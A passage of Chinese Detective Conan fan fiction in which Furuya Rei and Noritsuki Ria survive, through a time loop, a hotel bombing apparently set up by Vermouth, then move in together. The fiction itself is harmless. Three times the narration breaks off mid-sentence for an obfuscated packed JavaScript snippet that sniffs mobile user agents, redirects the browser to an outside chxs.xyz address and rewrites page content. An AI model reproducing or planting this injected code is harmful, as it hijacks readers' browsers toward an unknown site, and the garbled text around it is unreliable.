“是啊,但是结合我们在岛崎家里找到的文件,人为原因导致的概率大大增加了。我的推测是她为了获得金钱而杀人。先获得当事人的信任,再了解到具体钱财的情况、进行偷窃或者伪造遗嘱,最后在注射时加大或者减少日常药物的剂量。有完美无缺的治疗记录在那里,当事人又都是高龄老人,那么想必医生尸检也不会轻易发现异常。” 莉亚追问:“那么她本人是为什么死掉的?” 降谷零摸了摸下巴,“这就很难说了,或许真的是一场意外。也可能是她还有其他的同伙,分赃不均导致的;也有可能是患者家属注意到了这个异样,私下里进行了报复行动。当然,还有那个最糟糕的可能——” 是贝尔摩德策划的谋杀。这位护理员和这个神秘的犯罪组织有着他们还没有探查到的瓜葛。 他们默契地保持了沉寂。 “总之,可能已经有多人的非自然死亡发生,那就不是我应该独自处理的案件了。”降谷零果断说,“我会上报给上层。这和目前加大打击犯罪力度的方针也符合,我想法月长官应该会支持重点调查的。” “他一定会的。”莉亚嘀咕了一声,“他就一直是强硬派,没改过,六年后都是这样。啊——能把那个组织的案件再给他递交一次、让他赶紧派人把他们拔除吗?不然我真的没有办法正常生活了,现在看到金色的头发都害怕。” 她的目光从他的眼睛上离开,慢慢地向上漂移,使得这个嘲讽看起来很有针对性。 降谷零选择无视,只是反问:“……你猜,他们当时派了谁去清除这个组织?” 哦,不好意思,重要参战人员被她捞回来当保安了。 “差点忘了,真是不好意思。”她不自在地清了清喉咙。 “你知道就好。”他冷哼一声,好像想到了什么,表情又缓和了下来,“对了,下周六晚上警察厅高层要集体参加一个酒会,是那种偏社交性质的,所以要求带女伴。我也被要求出席……那天你有空吗?” “这是请求吗?”她把手环抱在胸前。 他们僵持了一会儿,最终降谷零咬牙点了点头,但还是坚持补充:“……恰好能把那笔债务一笔勾销。” “成交。”女主播把他的手从桌面上抓了起来,强行握了握。 这是她最擅长的场合,简直和放松没什么区别。 ……的吧? 15.爆炸 颇有历史的枝形吊灯透过千百片水晶棱坠洒下碎金般的光点,破开了这个漫长的春夜。 法月莉亚身着香槟色的晚礼服,正挽着降谷零的手臂,另一只手微微提起裙摆,含笑着对路过的每一张熟面孔点头致意。 而降谷零穿一身和她搭配的浅色西装,紧绷着脸,视线穿过人群,像鹰一样巡视着整个会场。 “放松一点,不要让我像在抱一块木头嘛。”她轻轻拍了拍降谷零的手臂,“你这幅表情,真的会让别人误会我是罪犯。” “这个笑话零分。”他仍然皱着眉,但嘴角还是放松了。 ……怎么会是零分,绝无此种可能。她的公安笑话明明都很好笑。 “是你名字取得有问题,我……” “是莉亚吗?” 酝酿下一个满分冷笑话的过程被一声突来的问候打断了。 莉亚抬头看过去,立刻换上格外真挚热切的笑容,“三宫先生!好久不见了,身体还好吗?” 降谷零配合地停住脚步,颔首问候。她介绍说:“这是三宫先生,我父亲曾经的同事。他以前还帮我补习过国文呢,也可以说是我的老师。” “是啊,当时你还是小学生,一被要求背课文就哼哼唧唧的不开心,现在都长这么大了啊——这位小伙子是你的朋友吗?” 姓三宫的中年男人在对话的间隙随意地打量了一下降谷零,很快地收回了眼神,只对莉亚提问。 莉亚的笑容瞬间变得甜蜜起来,甚至还有点恰到好处的羞涩,降谷零甚至怀疑自己看错了,“这是降谷,我的未婚夫,在警察厅任职。” 三宫先生听到这个答案,立刻主动和降谷零握了握手,审度而疏离的眼神都变得亲切了,“找了很英俊能干的丈夫啊,小莉亚!有这样的好事,法月这家伙怎么都不说?我等下要去找他算账。” “您还是这么爱开玩笑。”她掩着唇笑了起来,“是家里还在讨论。等到确定下来好信,当然会邀请您来赏光。您不来的话,我可要找上门去吵的哦。” 对方哈哈大笑:“这么说我还真不能来了,那当然是欢迎你上门的。我妻子那天在日卖台上看到了你的节目,还跟我念叨好久没有见到你了。小莉亚已经是优秀的社会人了啊。” 说着,他突然凑近了一点距离,压低声音对莉亚说:“虽然进了艺能界,最好还是低调一点……你父亲的政策太激进了,就连我周围都能听到批评的声音。替我向他也转达一下。” 莉亚愣了一下,立刻躬身:“是,多谢您的指教,我一定向父亲传达。” “那么,我先去那边打招呼了。定下婚期一定要邀请我啊。” 三宫先生冲他们抬了抬酒杯,转身离开了。 她维持着那个微微鞠躬的姿势良久,起身才看到降谷零冷凝的神色:“怎么了?那是我父亲做秘书官时的同事,后来应该去了厚生省,现在这个时间点……呃,我也记不清他具体是什么职务了。是他的提醒有什么不对吗?” “厚生省的官员也会关注公安的行动吗?已经急迫到了需要当面提醒的程度吗?总觉得哪里有些不对……” “职业病,明天就给你预约医生。”她干脆地给出判断,“他们当初是同一个政治家带出来的,算是一个派系,会互相关心也很正常吧。” “也许。”降谷零耸了耸肩,把目光投到了正在调试音准的弦乐团上,“唔,乐队好像就位了,要去跳舞吗?” 莉亚:“不了,我非常不擅长交谊舞,除非你愿意跳女步。而且主宾好像还没出现?应该先有个什么人给讲话吧。” 她的目光往四周扫了扫,忽然看到一扇靠近主宾座位的宴会门被缓缓拉开了。莉亚一眼就瞥见了走在靠前位置的法月清张,立刻拖着降谷零转身就走。 他还没有充分了解到法月小姐对父亲看一眼就严重过敏,只是警惕地问:“怎么了?发现了什么情况吗?” “你的职业病好不了了。”她松开手,斜视着降谷零,“好了,我就是太无聊了,要去拿点酒。” 酒台上摆着各色的名贵酒品和酒器。冰桶中的酒瓶结着一层薄薄的水雾,带来沁凉的寒意。侍者们细心调整着酒杯的摆放角度,为前来品鉴的客人斟酒,一切都显得井然有序。 莉亚在酒台边停住脚步,立刻就有一位女侍者迎了上来:“您想喝点什么?” “唔……” 见到莉亚犹豫,她体贴地推荐:“不如尝试一下莫尼耶香槟?口感清新,气泡细腻,余韵中带着淡淡的柑橘和蜂蜜香气,是非常适合淑女的开场酒。” 她本来就只是找个理由离开,便随意地点点头,“那拜托了。” 侍者从酒台上找到这瓶推荐的莫尼耶,拿起来向她展示:“是1996年的Fac-Simile,非常少见的一款呢,市面上……” 她的话还没说完,香槟瓶就猛地炸开。顿时玻璃碎片飞溅,气泡四溢,粘稠的酒液洒满了莉亚的肩头和裙摆。她下意识地发出一声惊叫。 “怎么了?” 降谷零几步就冲了过来,一把将她拉住,已经伸手去摸腰间的枪了。那位服务员似乎也被吓得不轻,正慌忙摸自己的脸颊确认有无伤势。 莉亚连忙解释:“没什么,香槟瓶突然炸了,没什么事情,就是衣服……” “真的是非常抱歉!”女侍者终于反应过来,连连鞠躬道歉:“都是我的疏忽,让您受惊了。小姐,您的衣服湿了,我带您去更衣室换一下吧,那边有给女宾准备可以更换的礼服。” 礼服都是量体裁衣的高级定制,何况和首饰、男伴的服装要进行搭配。备用的……真的可以穿么?一来一回也许会耽误时间,莉亚犹豫了一下。但周围宾客的目光已经聚集过来,她也不想让事情闹大,于是对降谷零说:“那么我先去跟……这位山本小姐,”她瞥了瞥服务生的名牌,“换个衣服,等下就回来。” 看到降谷零也点头示意,她便随着服务生离开了宴会厅。 “说起来,准备得很充分啊,我几乎没见过这样有替换衣服的酒会。” “是,因为今天来的都是大人物,所以做了万全的打算。您这边请。” 服务生把莉亚引上到了楼上。主办方应该是向酒店额外订购了一间房,作为这种特殊情况的应急处置空间。山本小姐从柜子里取出一条长裙,在她身上比了比,“我想这件的尺码和颜色比较合适?您试一下呢。” 见莉亚接过裙子,对方就退出房门外,请她独自换装。 干燥而温暖的裙装上身,果然舒适了许多。对着镜子照照,确实和自己身材符合。莉亚低头略微整理了一下裙摆和袖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975764|160860||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口,便打开房门,“我好了。感觉还不错?多谢了。” “啊,后背有褶皱……我来给您处理下。”山本小姐热情地上手替她调整,“对了,刚刚我的同事给我打电话,说刚才和您一起的那位先生拜托她通知您,您的父亲想见您,请您尽快过去。” 莉亚皱起眉,下意识地想拒绝。 不,果然还是不要在外人面前展示出来家庭矛盾吧……也确实需要聊一下她和降谷零的新工作进展,何况三宫先生还有那样的拜托。 “好的,我知道了。” 对方忽然笑了一下,“对了,那位先生那是您的丈夫吗?很帅哦。可以告诉我是怎么认识的吗?” “啊……谢谢。是父亲的同事啦。”她含糊地说,“我父亲现在在哪里?” “哦,抱歉抱歉,差点忘了。那位先生说对方会在楼下的休息室等您,我给您带路。” 她点点头,跟在女服务生身后,向电梯走去。 于是并没有看见对方嘴角勾起了一个冷淡而愉快的弧度。 与此同时,降谷零又一次看了看表。 离开有一段时间了……这个更衣室这么远吗? 莫名出现的不安又涌了上来。也许不应该让她自己去的。不过现在补救也来得及。 他拦住一个路过的服务生,“劳驾,主办方准备的应急更衣室在哪里?我的未婚妻去换衣服了,我有些急事要找她。” “诶?我们有这样的地方吗?”路过的侍者一脸茫然,“您稍等,我来确认下。” 他掏出对讲机,低声沟通了几句,最终还是迷惑地抬起头,硬着头皮面对降谷零那张越来越冷峻的脸,“抱歉,我的同事也都没听说过……是不是她自己开了房间去更换衣服?那样的话您要问她本人喔,我们没办法获得宾客私人信息的。” “不可能。”他果断否认,“是你们的一个女服务生这么说的,她还带她去了。叫山本——山本操,她的名牌上是这么写的。” “那就更不对了啊,我们是有个姓山本的同事,但他是男的,而且今天请假了没有来啊。” 不对—— 降谷零的心猛地一沉。一种巨大的恐惧顺着脊背爬了上来,令他头皮发麻。 难道是他看错了名字?但这绝不可能。 甚至是莉亚先念出来这个名字的。 他猛然回想起香槟瓶炸开的瞬间,那位服务生的第一反应:她不是检查身上的衣服是否湿了,而是下意识地仔细反复摸了摸自己的脸。 香槟瓶爆裂产生碎玻璃,也许会划伤脸,这也没什么不对。他当时还特意看了看莉亚有没有受伤。 但现在想来…… 她也许并不是在检查伤情。 有没有可能,是在担心伪装被酒水淋湿而破坏了呢? ——贝尔摩德。 他瞳孔紧缩,立刻掏出手机,想点开那个之前用来监控法月莉亚行踪的软件。 然而手指又僵在屏幕上:她没有找到合适搭配香槟色的手包,干脆什么都没有带,把手机塞在他身上了。 没带手机的法月莉亚并不知道降谷零的隐忧,独自在会客室里落座了。 父亲还在路上吗?他到底要说什么? 她用指尖无意识地摩挲着裙摆,心头浮起一丝微妙的不安。 16.二次同居 父亲到底为什么非要在在这种地方和她见面呢? 他明明说过家和办公室以外的地方都容易被录音,可能会留下负面的材料。 也许有什么紧急的事情。三宫先生不是也临时请她传话吗?或许和这个有关? 莉亚深吸一口气。 房间里燃着白桃的线香,味道温润宁神,让她的焦躁渐渐消失了。但她却觉得空气里似乎还夹杂着另一种极其微弱的气味,若有若无,像是灼烧过的金属会散发的腥锈。 墙上的钟滴答作响,指针每一次移动都显得刺耳。她重新烦躁起来,刚站起身,就看到门被推动了。 法月清张出现在门口,一见面就问:“到底发生什么事了,这么着急?” “什么?”她不解其意,“不是您要找我吗?” 他皱起眉,停在门边,“他们说是你有急事要告诉我。所以你怎么在这里?算了,你先出来。” 莉亚犹豫了一下,快步走向父亲。 可能是错觉,但突然之间,时钟滴答的声音好像变得急促而嘹亮。 她来不及细想,就感觉到一股热浪。世界在一瞬间被撕裂,火光暴烈地炸开,将一切吞噬,同时制造出震耳欲聋的爆炸声。 莉亚的瞳孔剧烈收缩。但来不及做出任何反应,身体就被气浪掀翻,而耳边只剩下尖锐的耳鸣。 好吵。 好烫。 疼。 ……疼痛好像逐渐消失了。 她感到一阵昏昏沉沉,仿佛处在半梦半醒、似睡非睡之间,难以挣脱。 一声响动传来,好像是门被人推开了。突然周围突然亮了起来。她感到身上一凉,接着立刻听到一个熟悉的声音试探着问:“……晚上好,小姐?” 莉亚这才能睁开眼。 降谷零穿着黑色修身马甲和短袖白衬衫,打扮得像个酒保,正一脸凝重地盯着她。 ……不得不说,这个场景有点眼熟啊。 简直像她在玩《奥德赛》时卡关了。每次读档,那个戴红帽子的水管工都会从同一个存档点蹦出来,还用一模一样的姿势喊“呜呼”! “你下次能换一个开场白吗?已经是第三次了。”她忍不住吐槽,“你也知道我根本不好吧?” 降谷零凝重的脸色立刻松弛了,但是变得很凶恶,在咬着牙瞪她。这绝对不是一个好信号,降谷零是个报复心很强的人,上次她就是这么被坑回实家去坐牢的。 所以莉亚立刻补充:“……以及我道歉,你确实不是职业病,那个会场真的有问题。” 他果然放弃了潜在的报复计划,转而追问起来:“你仔细说说,我们分开以后都发生了什么?你到底是怎么死的?” 莉亚很难不觉得这个问题听起来又奇怪又冒犯。 但好像确实也没有更好的表述方式,她真的又死了一次。她只好仔细回忆起了细节,全都转述给这个专业人员:“……我父亲一到门口,大概就发现了异样,所以叫我出来。但我刚走了几步,还没走出房间就产生了爆炸,后面的事情我也不知道了。” “那么应该是通过RFID触发的火药。很有可能是在你们两位身上同时安装了引信,距离靠近到一定程度的时候就自动触发了。” 降谷零捏着下巴沉思了片刻,给出了自己这边的信息:“我们是同时回到这个时间点上的。我当时觉得你离开得太久了,有些担心,于是去找你。但是会场的工作人员说并没有应急更衣室,而服务员山本操是一名今日缺勤的男服务生。此时我发觉了异样,没过多久就听到了一声巨响,然后就眼前一黑。再醒来的时候,又回到了米花大酒店的停车场。” “这么说,是那个服务员有问题。也是她告诉我说父亲要见我的。” “她的目标就是用酒水弄脏你的礼服,然后带到安装了火药的目标房间去。”降谷零点点头,肯定了这个结论,“应该就是温亚德乔装改扮的,她是易容的高手。目标是同时杀死你和法月长官,那么大概是她认为你们两个构成了某种威胁,而不是认准了我和你——那么她应该是没有察觉到这种时间倒流,刚才在停车场也很轻易地接受了我独自过来这里的请求,这足以证明我的猜想了。” 莉亚的脑子被一团乱麻充满了。 本来就复杂的局面,经过他的解析,更加复杂了:到底是什么样的原因让那个女人盯上了她?那个护理员是怎么死掉的、和那几个老人又有怎么样的关系?那场爆炸到底为什么会发生?她怎么会一直出现在这个房间里,而察觉了这一切的真的是只有她和降谷零吗…… 每个问题都很费解,解开全部应该就可以兑换一个诺贝尔奖的程度。 她突然想到诺贝尔就是研究那该死的玩意儿发家的。这个笑话过于嘲讽了。 降谷零捏下巴的手动也不动,明显也陷入了沉思之中。于是莉亚率先发问:“那么,我们现在最需要解决哪个问题呢?” 出人意料的是,降谷零快速给出了答案:“需要解决我的任务。” “……什么任务?” 莉亚愣住了。过去的时间太久,她已经完全忘记了降谷零为什么会出现在这个房间里。 “踩点。”他简单地解释,“之后有个潜入任务,我要为了这个事情做准备。” 说着他走到窗边拉开窗帘,对着窗外几个角度观察瞭望了一番,接着低头,用手指在窗台上反复轻敲,好像在评估材质。这个敲击动作顺着窗台板,一直延伸到了墙壁上。他也顺着墙壁走了一圈,检查了包括通风口和门框在内的每一个角落,不时停下来翻看打量,并挑了几个地方架设了模样古怪的微型设备。 莉亚被这一套行云流水的动作惊呆了,眼睁睁地看着降谷零走进浴室打开了淋浴头。他还似乎低声说了句什么话,但是被细密的水声挡住了。 ……洗澡也是任务的一部分吗?这到底是个什么性质的任务,它正规吗? 她开始有点怀疑自己是否对婚姻太草率了。 困惑很快得到了解答。降谷零关掉了水龙头,从浴室里出来了,问她:“你有听清我说了什么吗?” “没有,大概能听到你在说话,但是听不清。这是在干什么?” “没什么,一些简单的测试,已经差不多完成了。”他风轻云淡地擦了擦手上的水渍,把臂弯里挂着的浴袍扔给了莉亚,“抱歉,还是只能穿这个,暂时对付一下吧。” 她立刻警惕起来:上次他就是这么干的,扯了件浴袍把她连夜打包送回了家,最后那件浴袍的钱付没付都很存疑。她把浴袍按在怀里,并不穿上,谨慎地看向降谷零:“你要干什么?” “难道你要在这里过夜吗?”他环抱着手臂,居高临下地和莉亚对视,“克里丝.温亚德搞不好一会儿,或者明天就会过来检查,或者也可能有其他罪犯过来。你要在这里等他们?要不还是选选墓志铭吧,我帮你转达。” “我可保留着使用那个杀手锏的权利。”她瞥了一眼桌上装着婚姻证明书的相框,出言威胁,“你真的觉得重来一遍就是个好主意吗?我并不……” “不,”他不耐烦地抬了抬手,打断了莉亚,“我没说要重复。在没有彻底掌握这个时间循环的秘密之前,我不敢保证温亚德完全不会想起来之前发生的事情,那么也没有必要冒险,所以我决定换一个方向尝试。” “所以?”莉亚也学他在胸前环抱双臂,冷冷发问。 “在你原本生活的时间线里,我一直卧底到了至少六年后,并且最终取得了胜利。那么最好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996706|160860||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的方法就是不要改变这个时间线,按照原本的时间线走下去。” 莉亚沉思起来。 似乎有一定的道理。 她完全不记得六年前父亲身边发生了什么事了,仔细想来,这可能就是一场针对父亲的暗杀,而正是因为降谷零没有如期完成卧底任务,所以才真的发生了。六年前或许就是他传递了消息,躲避了这一切。也或许是他的转职或者她的报道才造成了蝴蝶效应,使得这个犯罪组织更加关注警察厅的上层了。 “所以我也应该按照原本的时间线,出现在北海道的度假屋里。” 她干脆利落地跳下床,把浴袍在空中抖开,像出征的骑士把斗篷披在身上一样,潇洒地往后甩了甩下摆,冲降谷零伸出手:“那么,希望你一切顺利。六年后见。对了,到时记得别迟到了,我不是一直那么有耐心。” 降谷零挑了挑眉,并没有友好地伸出手,显得特别没有素质。 “我好像也没有说,你可以去北海道吧?” “……哈?”她收回手,危险地眯起眼睛,“我可警告过你,我坐牢一定要拖人下水的吧?别想让我为日本国民牺牲,我可不是国家公务员。” 但对方陈述观点的口气也不容质疑,非常强硬:“我说了,温亚德不一定就不会想起来之前发生的事情。变动已经发生了,二十八岁的法月莉亚就不应该存在于这个时间里。也许发生什么事情就会导致新的变动增加,所以我觉得,在搞清楚这一切之前,你应该在我的视线内生活。” 法月莉亚并不像看起来那么温柔亲切。已经对她的性格有所了解的降谷零缓了缓口气,用为她着想的态度加以诱惑:“当然了,这也是保障你安全的一个手段,我想反复体验濒死也不是什么愉快的……” 诱骗的话被打断了:“简而言之,这次是要住到你家里去?” 降谷零被噎住了。他飞快地盘算起手上可能合适的安全屋,最终发现让这位随心所欲的大小姐独居这件事本身就并不怎么安全,于是只好点点头。 “成交。” 她干脆地重新伸出了手。 “诶?” 降谷零被大小姐的配合程度惊呆了。他有点怀疑自己的记忆力:这家伙之前是这么好说话的存在吗?好像不是吧…… 法月莉亚猜到了他的想法,投来鄙视的眼神:“你是傻瓜吗?我都已经说过了,只要不让我回本家坐牢,其他都是可以忍耐的,反正这个时候我也只是在离家出走而已。而且,”她冷笑一声,“你是真的忘了,有没有可能我们已经结婚了,今天本来是我的婚姻披露仪式,而我之后本来就是要住到你家去的啊?我行李基本都搬进去了诶……你有什么问题吗?” 他举了举手,“呃,其实有一个问题。我后来住到哪里了?” “你之前住米花町的公寓,但是我说凶杀案太多,还不是那么想早死,于是你就买了汐留的新筑塔楼。客厅正对着彩虹大桥、可以直接看得见滨离宫景色的那种。” “啊。”降谷零终于感到有点窘迫,“那真是不好意思……听起来超过了我目前的贷款额度。我现在就住在米花町。” 莉亚沉默了好长一段时间。 降谷零的警惕逐渐重新开始升高:“你不会是想反悔吧?我建议不要……” “带路吧。”她不耐烦地摆了摆手,把浴袍腰带又重新紧了紧,用下巴指了指门,“不是说她随时会回来吗?赶紧走,我可不想再死一次,感觉超坏的。” 比起被送回老家,住到米花町也没有那么难以忍受了。而真正需要反悔的是另一件事。 她阴沉着脸从桌面上拿起那只相框抱在怀里,死死地盯住上面“婚姻证明书”几个字。 ……她果然还是对婚姻太草率了。 17.推销禁止 最终,和上次一样,法月莉亚裹着浴袍走出了这间套房,怀里仍旧抱着她的对敌宝具兼致命黑历史——虽然普通日本人叫它“婚姻届受理证明书”。 她站在门口,忍不住回头看了一眼这个和她充满了血海深仇的房间。 房间号是1207。真是糟糕的数字。 她在心里抱怨当时没有仔细选婚房,没有分神留意周围情况,猝不及防地被降谷零用脱下来的外套一把兜头罩住。 “喂!超吓人的。” 她把遮挡视线的兜帽扯下来一点,调整到了一个易于她看路顺便大声抱怨的位置。 降谷零慎重地观察了一下周围监控摄像的位置分布,这才戴上鸭舌帽,把自己的脸挡得严严实实,在更多的抱怨从大小姐的嘴里跑出来之前直接握住她的手,警告道:“跟我走,接下来如果有任何紧急情况,一定要严格听我的命令。” 法月莉亚确实很想说这是什么公安职业病,真把她当下属用吗?但是上次这么抱怨之后不到一小时,她就死于非命。 哪怕仅仅是为了讨个口彩,她这次也选择闭紧了嘴巴,顺从地点点头。 他们从消防楼梯一路走下去,仍然和上一次一样畅通无碍,并没有撞到善于收割生命的金发女人。坐进降谷零的马自达车时,两人明显同时松了一口气。 “到目前为止都是一样的。”她看了看仪表盘上的时间,“当时基本上也是用了这么久离开酒店的,看来那间套房在半个小时以内都是安全的。” “嘛……后面开始就要完全不一样了。”降谷零拉动手刹,一脚油门踩了下去。马自达在深夜发出响亮的引擎轰鸣声,随即冲入了夜色。 他们停在了米花町的一栋普通居民公寓前。降谷零引着莉亚走上二楼,打开了房门。 “家里只有一双拖鞋,你先穿我的吧。明天再给你买。” 莉亚慢吞吞地应了一声,仔细打量着四周。这一间典型的单身公寓,面积不大,只有一室一厅,但好在主人打理得很整洁。 “我有个非常重要的问题。” 哈,风水轮流转。现在不是大小姐颐指气使地定下种种规矩的时候了。当时她都是怎么要求的来着? 降谷零回身去挂外套,头也不抬地就完成了经典复刻:“洗漱间在左手边,日用品在柜子里,随便拿。想洗澡的话你先去就好,我等你洗完再去。另外我家床很小,没法睡两个人,所以你睡床铺,我睡地上” 没有以眼还眼地把大小姐发配到地板上,还让她先用热水,他可真是绅士极了。松田知道了这种待遇一定会羡慕地哭出声的。 他整理好了外出用品,一回头发现莉亚还站在原地,抱着胳膊凝视他。 “——还有什么问题吗?” 莉亚挑眉,“因为我想问的是有东西吃吗,不管是从哪天算,我都超过八个小时没有吃过东西了。不知道你在嘱咐什么,不过谢了,介绍得很清楚。” 降谷零僵硬了一下,弯腰打开橱柜,开始寻找食物的踪影。 几分钟后,他把两根能量棒和一盒橙汁摆到了莉亚面前,顺便扔掉了两个没来得及处理的风干苹果,“喏,吃吧。” 大小姐从没见过这么简陋的夜宵,不由得沉默了。她缓缓抬头,发现降谷零扯过另一张餐椅,把下巴放在椅背上倒坐着,一脸理所应当的表情看着她,好像完全没有在恶作剧。 还不如是恶意报复呢。 她感觉有点不妙。 “我说,虽然确实是要求得有点仓促,但这就是晚餐吗?” 降谷零一脸奇怪,“我想这个时间了,你应该也不会想喝咖啡,就拿了橙汁,有什么不对吗?不够的话,能量棒也还有多的,你要么?” 这不是重点吧…… 她忍不住直接问了:“你平时晚餐就吃能量棒啊?” 金色的脑袋点了点,“也没办法吧,很方便啊。毕竟我这里可没有办法雇佣厨师。你要自己做东西吃吗?这样的话倒是可以添置一些厨具。” “不不不,你等等。我可完——全不会做饭。” 降谷零把头缓缓从椅背上抬了起来。 两个人沉默地对视了半天,渐渐地,就连空气里都布满了疑惑。 “这不对吧?”降谷零率先进行了质疑,“你不是说你后来做的是美食制作节目的主播吗?为什么日卖台会请完全不会做饭的人出演这种节目啊?” 她并不认为这是一种不称职,寸步不让:“因为上这种节目只要会捧着脸说‘哇真的是太好吃了’就可以胜任啊,我好像告诉过你吧。反倒是你,刚认识的时候明明说过自己业余爱好是制作料理,还很擅长烘焙,怎么现在家里连厨具都没有?” 降谷零可疑地沉默了。他简直不敢相信自己的听力:六年之后的自己,已经变成这样充满居家气息的人了吗?不对,中间好像一直还在卧底吧,那到底是执行了什么任务啊……难道是随口一说骗她的? 他看了看对面的女人,满脸写着“你胆敢说这是在撒谎你就死定了”的字样。虽然透明,但是绝对大字号加粗了。 如果是假的就更恐怖了,他后来堕落成了会用谎言欺骗上司女儿结婚的败类了吗? 降谷零无力地扶住额头,“……我当时有说过我是怎么学会的料理吗?” 他当时怎么说的来着?莉亚努力回忆了一下,“啊,这个倒是有。你说是擅长厨艺的亲友建议你学习的,所以才开始看我们的节目参考。” 听到了令人安心的答复,降谷零不由得长出了一口气,立刻指出了问题的根源:“你是半年后才入职,那么这个节目应该是那之后才播出的吧?我朋友看到之后觉得不错才推荐给我,说明我应该至少是在一年后才开始学习料理的,现在没有厨具难道不是很正常吗?” 发现了自己人品没有问题之后,他甚至生出了闲情调侃对方:“可见你不怎么关心丈夫啊,莉亚小姐,真是太遗憾了。” 法月莉亚冷笑一声,“因为我现在只关心晚饭,以及接下来的餐食要怎么办——我那能干的丈夫一定能赚回来面包吧?” 她故意用指甲尖捏起能量棒包装的一角,仿佛面对的是什么脏东西,还发出一声轻轻的叹息,“反正不会只有这个吧,啧。” 降谷零忽地站起身,几乎把椅子带倒了。巨大的噪音吓了莉亚一跳,“你做什么?” 公安委员长的女儿搬进丈夫家的第一天,要是因为夜宵谈不拢就大打出手,未免也太好笑了。 他站到门口,伸手把刚挂好的外套又取了下来,冲着门口偏了偏头:“不是吃不惯这个么,走啊,带你去买吃的。” 莉亚将信将疑地跟在他身后:“这个时间还有店开着吗?居酒屋也都关门了吧?……等等,你确定我们是要去吃饭吗?” 她眼看着降谷零穿好了外套,正在往腰间别枪,看起来还顺手在口袋里塞了其他几个她叫不出来名字的微型设备,正蹲在地上折腾那个信号屏蔽仪——哦,这个她已经认得出来了。 “出门的必要流程。哦,顺便一说。”他从调试中抽出一只手,头也不抬地指了指天花板,“这里装了不止一个摄像头,不要在卧室之外的地方换衣服,当然,卧室的窗边也装了。回来我再给你演示安全区域。” 她一瞬间觉得自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15012463|160860||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己回到了电视台,被几十架闪烁着红点的黑洞洞的摄像头指着,不由得头皮发麻,“……我顿时有点不太想吃了。” 降谷零站起身,紧抿嘴角,不容拒绝地牵起了她:“不行,好丈夫怎么能允许妻子饿着肚子过夜呢?走吧——不知道大小姐吃不吃得惯便利店的速食便当。” 这间降谷零落脚的公寓不远处,就有一家二十四小时营业的便利店,是黑夜中唯一还在运营的店铺。疲惫的店员打起了呵欠,听到门上铃铛的响动并不热情迎客,仍旧懒洋洋地滑动手机,含糊地喊了一声“欢迎光临”。 降谷零提起一只购物篮,随手放入几样他常买的日用品,低头问莉亚:“你还需要什么?” 但问了个空。他发现大小姐从视线里消失了。 之前法月莉亚随时跑路的糟糕历史让他下意识地想冲出去把她捉拿归案。但是镇定下来一看,大小姐正站在几米外的冰柜前,以一种奇怪的姿势捂着胸口,用小跳步不断地重复着前进后退。 也许只是她的什么癖好?他安静地观察了一会儿,最终还是没忍住:“……你这是在干什么?” 她瑟缩地抬起脸,紧紧捏着胸口的浴袍,一只手里还拿着猪排咖喱便当,“种类好多,我有点不知道挑选哪个比较好,但是冰柜吹得我好冷啊。” 看来被他猜中了,大小姐既没有吃速食便当的经验,也没有多少亲自采购的机会。降谷零叹了一口气,视线越过莉亚的头顶,快速扫了几眼冰柜里的商品,径直取了其中几份:“这个你大概会喜欢,唔,烧鸟便当也可以。不要拿炸猪排,便利店的炸品外壳都是软的,你肯定不吃。走吧,已经很晚了。” 他把筐子往收银台一放,“结账。” 收银员如梦初醒似的扔开手机,开始惯例的推销:“有会员卡吗?需要帮忙注册吗?要看看香烟吗?我们最近还有新的抽奖活动哦,消费满……” 降谷零一抬手,“都不需要,麻烦您给我袋子。” 法月莉亚终于结束了自己的选购,慢悠悠地从货架的另一侧向他走来,一边往购物篮里扔了几样新的东西。 收银员抬眼瞥了一下莉亚,对着降谷零继续问:“好的,另外您确定不要看看这边的商品吗?” 他用下巴指了指降谷零左手边的货架。 降谷零低头看了过去。 ……满满一整排五颜六色、五花八门,看着很像口香糖但绝对不是可以随便卖给小孩子的橡胶制品。 他皱着眉头,不敢置信地瞪了那位非常冒犯的收银员一眼,忍住把脸埋进购物袋里的冲动,“也不需要,谢谢。” 法月莉亚终于走到了他的身边,并没有听清这段对话:“什么?” “没什么。”他把购物单据收好,提起购物袋往门外走去,“那个人在胡乱推销。” 降谷零撑开门,在等着她走过去的时候,仔细打量了莉亚的装扮。 她非常认真地做了全妆,眼角还有一点晕开的红痕,脚上踩着价格不菲的高跟鞋,但是只裹着浴袍就出门了,外面还套了一件明显属于男人的外套。 ……那位售货员可能并不算胡乱推销。某种意义上还挺有技巧的。 这个场景确实太糟糕了。怪不得当时法月长官和桥本秘书都是用那种恐怖的表情看着他。 他忽然顿住脚,装作漫不经心地问:“……对了,明天我去给你买衣服,你穿具体什么尺码?有什么指定款式么?” “诶?这么贴心。” 